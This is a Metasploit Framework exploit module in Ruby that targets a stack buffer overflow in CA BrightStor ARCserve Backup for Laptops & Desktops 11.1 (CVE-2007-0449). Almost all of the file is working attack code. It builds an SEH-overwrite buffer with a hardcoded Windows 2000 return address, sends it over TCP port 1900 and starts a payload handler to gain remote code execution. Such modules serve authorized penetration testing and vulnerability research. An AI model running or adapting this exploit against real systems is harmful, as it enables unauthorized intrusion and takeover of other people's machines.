##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
        for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could 
        overflow the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2007-0449' ],
          [ 'OSVDB', '31593' ],
          [ 'BID', '22342' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
          [ 
            [ 'Windows 2000 Pro English All',    { 'Ret' => 0x75022ac4 } ],
          ],  
      'DisclosureDate' => 'Jan 31 2007',
      'DefaultTarget' => 0))

      register_options([ Opt::RPORT(1900) ], self.class)  
  end

  def exploit
    connect

    filler = "0000016705" + rand_text_english(2322)
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh + "\x58" * 0x4141

    print_status("Trying target #{target.name}...")
         
    sock.put(sploit)
    handler
    disconnect
  end

end